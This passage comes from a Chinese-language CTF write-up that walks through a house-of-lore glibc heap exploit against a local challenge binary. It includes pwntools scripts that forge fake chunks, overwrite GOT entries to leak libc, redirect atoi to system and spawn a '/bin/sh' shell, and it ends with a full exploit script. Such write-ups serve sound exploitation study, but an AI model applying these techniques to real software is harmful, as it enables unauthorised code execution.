p.sendline(b'2')
p.sendline(str(idx).encode('utf-8'))
p.send(context)

def change_name(name):
p.sendline(b'4')
p.send(name)

def change_mesg(size,new_mesg,mesg):
p.sendline(b'5')
p.recvuntil(b'saved at ')
a = p.recvline()[:-1]
print('leak--->',a)
p.send(str(size).encode('utf-8'))
p.send(new_mesg)
p.send(mesg)
return a
payload1 = b'a'
p.sendlineafter(b'writer:\n',payload1)
payload2 = b'a'
p.sendlineafter(b'book?\n',payload2)
add(200)
edit(0,b'11111')
dele(0)
heap_addr = change_mesg(200,b'11',b'22')
heap_addr = int(heap_addr,16)
print('---->',hex(heap_addr))
p.interactive()
  • 根据分析1,我们可以修改释放后的message指向的堆块,接下来我们来查看释放后的堆块会被放在什么bins中。我们会发现这个堆块会被放入smallbins中,这时我们可以read(0, message, 0x10uLL)从而修改这个堆块的fdbk指针

image-20250303175040088

  • 所以这题的考点就是house-of-lore,现在我们就要对堆块进行伪造,从而可以使用malloc申请到任意地址。这里由于我们bss段地址是固定的,并且我们的name变量是可以写的,所以我们就使用name这个数据块伪造堆块,使其绕过检查
  • 这时我们通过house-of-lore的利用,就可以将这个name的地址申请过来,并且由于之前的实验中的堆块并没有伪造size位,只需要伪造fdbk即可,所以我们接下来就对其进行伪造。
  • 首先我们已经将堆块的地址泄露出来了,泄露出来的同时我们要修改处于smallbins中堆块的bk指针。我们先来修改一下
  • 这时我们修改的堆块就会出现一个问题,就是我们只要修改bk指针,我们会顺手把fd指针也被修改了。在写这题的时候我有注意到这一点,但是后面发现,在house of lore中修改smallbins中的fd指针貌似不会对这种堆利用方式有什么影响

image-20250303181232835

  • 查看glibc源码时发现,在malloc中只进行了bck->fd != victim检查,在free中才对fwd->bk != bck进行检查,而house-of-lore利用中我们后续并没有再释放堆块,所以并不会调用free,所以并不需要关系fd指针。

  • 现在我们就开始进行house-of-lore的堆块伪造,由于之前我们确定name这个.bss段,但是我们只能对.bss这个段写入0x20的数据,所以我们要在利用name-0x10这个字段,伪造fake_chunk1prevsizesize字段。

image-20250305175004220

  • 这时我们就通过change_message修改放在smallbin中的chunk

image-20250305175353698

image-20250305180018667

1
2
3
4
5
6
7
8
9
10
payload1 = b'a'
p.sendlineafter(b'writer:\n',payload1)
payload2 = b'a'
p.sendlineafter(b'book?\n',payload2)
add(0xC8)

payload = p64(0)+p64(0x6020A0-0x10)
heap_addr = change_mesg(200,b'11',payload)
heap_addr = int(heap_addr,16)
print('---->',hex(heap_addr))
  • 现在我们在修改bk指针的同时就已经把堆地址给泄露出来了。现在我们就可以使用change_name伪造堆块,由于输入字节数的原因,我们就可以进行如下操作,将fake_chunk2fake_chunk1bk指针共用一个内存空间。
1
2
3
payload = p64(heap_addr-0x10)+p64(0x6020A0+0x8)
payload +=p64(0)+p64(0x6020A0-0x10)
change_name(payload)

image-20250305180050884

image-20250305180704821

  • 这时我们再进行两次申请,就可以将name申请回来,并且可以使用edit编辑,编辑到page_list这个数组
1
2
add(0xb0)
add(0xb0)
  • 这时我们就还差libc地址没有泄露,在做这题的时候一直卡在泄露这块,看了wp才发现,可以这么泄露:
    • 我们可以修改我们申请回来的name这个空间溢出到page_list[0],将这个地址修改为free_got的地址
    • 然后再修改page_list[1],将其地址修改为puts_got
    • 再一次通过edit修改这时我们修改的时free_got表存储的值,将其改为puts_plt表,这时我们调用
    • 最后我们再free(page_list[1]),这时传递的是puts_got表的地址,该地址存储着puts的地址
    • 我们free(page_list[1])实际上是puts(puts_got),这时我们就泄露了libc的地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
free_got = 0x602018
puts_got = 0x602020
atoi_got = 0x602060
payload = b'a'*0x40+p64(heap_addr+0xb0+0xc0+0xd0)
payload+=b'a'*0x18+p64(free_got)+p64(puts_got)
payload+=p64(atoi_got)

edit(2,payload)
edit(0,p64(0x4006A0))
#gdb.attach(p)
#pause()
dele(1)
p.recvuntil(b'delete?\n')
puts_addr = p.recvline()[:-1]
print('puts_addr--->',puts_addr)
  • 最后我们再劫持atoi_got,将其劫持为system的地址,之后我们在read_int的时候直接输入/bin/sh\x00,这样就可以直接getshell
1
2
3
4
5
6
7
8
9
10
11
dele(1)
p.recvuntil(b'delete?\n')
puts_addr = p.recvline()[:-1]
print('puts_addr--->',puts_addr)
puts_addr = int.from_bytes(puts_addr,'little')
libc_addr = puts_addr - libc.symbols['puts']
system_addr = libc_addr + libc.symbols['system']

edit(2,p64(system_addr))
p.send(b'/bin/sh\x00')
p.interactive()

level_1_exp

  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
context.log_level='debug'
context.terminal = ["tmux", "neww"]
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process("./pwn")

def add(size):
p.sendline(b'1')
p.sendafter(b'size:\n',str(size).encode('utf-8'))

def dele(idx):
p.sendline(b'3')
p.send(str(idx).encode('utf-8'))

def edit(idx,context):
p.sendline(b'2')
p.sendline(str(idx).encode('utf-8'))
p.send(context)

def change_name(name):
p.sendline(b'4')
p.send(name)

def change_mesg(size,new_mesg,mesg):
p.sendline(b'5')
p.recvuntil(b'saved at ')
a = p.recvline()[:-1]
print('leak--->',a)
heap_addr = int(a,16)
payload = p64(heap_addr+0xb0+0xd0)
mesg = payload + mesg
print('---->',hex(heap_addr))
p.send(str(size).encode('utf-8'))
p.send(new_mesg)
p.send(mesg)
return a

payload1 = b'a'
p.sendlineafter(b'writer:\n',payload1)
payload2 = b'a'
p.sendlineafter(b'book?\n',payload2)
add(0xC8)

payload = p64(0x6020A0-0x10)
heap_addr = change_mesg(200,b'11',payload)
heap_addr = int(heap_addr,16)
print('---->',hex(heap_addr))

payload = p64(heap_addr-0x10)+p64(0x6020A0+0x8)
payload +=p64(0)+p64(0x6020A0-0x10)
change_name(payload)
add(0xb0)
add(0xb0)

free_got = 0x602018
puts_got = 0x602020
atoi_got = 0x602060
payload = b'a'*0x40+p64(heap_addr+0xb0+0xc0+0xd0)
payload+=b'a'*0x18+p64(free_got)+p64(puts_got)
payload+=p64(atoi_got)

edit(2,payload)
edit(0,p64(0x4006A0))
dele(1)
p.recvuntil(b'delete?\n')
puts_addr = p.recvline()[:-1]
print('puts_addr--->',puts_addr)
puts_addr = int.from_bytes(puts_addr,'little')
libc_addr = puts_addr - libc.symbols['puts']
system_addr = libc_addr + libc.symbols['system']

edit(2,p64(system_addr))
p.send(b'/bin/sh\x00')
p.interactive()

house-of-lore_level2